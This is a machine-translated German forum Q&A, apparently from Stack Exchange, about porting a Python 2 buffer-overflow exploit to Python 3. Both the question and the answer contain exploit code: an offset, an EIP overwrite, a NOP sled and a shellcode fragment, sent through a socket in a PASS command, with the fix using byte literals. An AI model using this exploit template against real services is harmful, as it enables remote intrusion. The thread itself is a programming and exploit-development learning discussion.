2017-03-05 6 views
-1

erkennen ich, dass die Entwicklung ausnutzen mit Python 3 nicht so geradlinig ist, wie es mit Python ist 2.Exploit Entwicklung in Python 3

Wie ich verstehe, ist dies vor allem auf die Socket-Bibliothek und den zusätzlichen byte Datentyp.

Zum Beispiel konnte ich nicht herausfinden, wie den folgenden Code in Python 3-Code zu übersetzen:

--- SNIP --- 
shellcode = "" 
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a" 
--- SNIP --- 
offset = "A" * 2606 
eip = "\x43\x62\x4b\x5f" 
nop = "\x90" * 16 
padding = "C" 
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16) 
--- SNIP --- 
bytes_sent = sock.send("PASS {}\r\n".format(buff)) 
--- SNIP --- 

versuchte ich folgendes:

--- SNIP --- 
shellcode = "" 
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a" 
--- SNIP --- 
offset = "A" * 2606 
eip = "\x43\x62\x4b\x5f" 
nop = "\x90" * 16 
padding = "C" 
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16) 
--- SNIP --- 
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8")) 
--- SNIP --- 

Das Problem ist, dass \x90C2 90 wird in Gedächtnis, es stört mich Stunden, um herauszufinden, dass das Problem von meinem Code kam. Ich vermute auch, dass dies den Shellcode ebenfalls verändern könnte.

Ich mag die richtige Art und Weise lernen, diese

+1

Das heißt, beachten Sie, es gibt ein 2to3-Tool gebündelt mit Python3, die automatisch die meiste Arbeit tun wird, um Python 2 zu Python 3-Code zu konvertieren. Könnte auch hier helfen. – Pascal

+0

@SteffenUllrich Ich war nicht sicher, wo ich diese Frage posten sollte, ich dachte, dass security.stackexchange.com der richtige Ort ist, aber Sie haben einen Punkt, es ist eher ein Programmierproblem. Ich werde diese Frage schließen und sie dann im Stackoverflow öffnen. –

+0

Ich übertrage diese Frage auf stackoverflow. –

Antwort

1

Der Python-2-Code im Wesentlichen einen Byte-String aufbaut in Python zu tun. In Python 3 erstellen '...' String-Literale stattdessen ein Unicode-String-Objekt.

In Python 3, möchten Sie bytes Objekte statt, die Sie mithilfe b'...' Byte Stringliterale Erstellung kann:

# --- SNIP --- 
shellcode = b"" 
shellcode += b"\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a" 
# --- SNIP --- 
offset = b"A" * 2606 
eip = b"\x43\x62\x4b\x5f" 
nop = b"\x90" * 16 
padding = b"C" 
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16) 
# --- SNIP --- 
bytes_sent = sock.send(b"PASS %s\r\n" % buff) 
# --- SNIP --- 

bytes verfügt nicht über eine .format() Methode, aber die % Formatierung Betrieb ist nach wie vor verfügbar.

+0

Danke für diese Antwort; Würdest du zufällig einen Weg finden, eine String-Variable direkt in eine Byte-Variable umzuwandeln? Die '.encode()' Methode bewirkt, dass mein '\ x90' nopsled als' C2 90' gesendet wird. –

+0

@ AresS31: In einer Textzeichenfolge erzeugen '\ xhh' Escapes * Latin-1 * Codepoints (alles im Unicode U + 0000-U + 00FF Bereich), nicht Bytes. Sie müssten mithilfe von Latin-1 codieren, die Zeichen werden in diesem Codec eins zu eins zugeordnet. Allerdings erzeugen Sie hier nicht 'Text', sondern binäre Daten. Bleiben Sie bei der Verwendung von 'Bytes'. –

+0

Der Code funktioniert trotzdem, vielen Dank @Martijin Pieters –